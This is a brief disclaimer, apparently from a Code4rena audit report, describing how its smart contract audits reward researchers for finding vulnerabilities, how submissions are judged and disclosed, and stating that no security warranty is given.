C4 Audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and solidity developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.

C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.

Top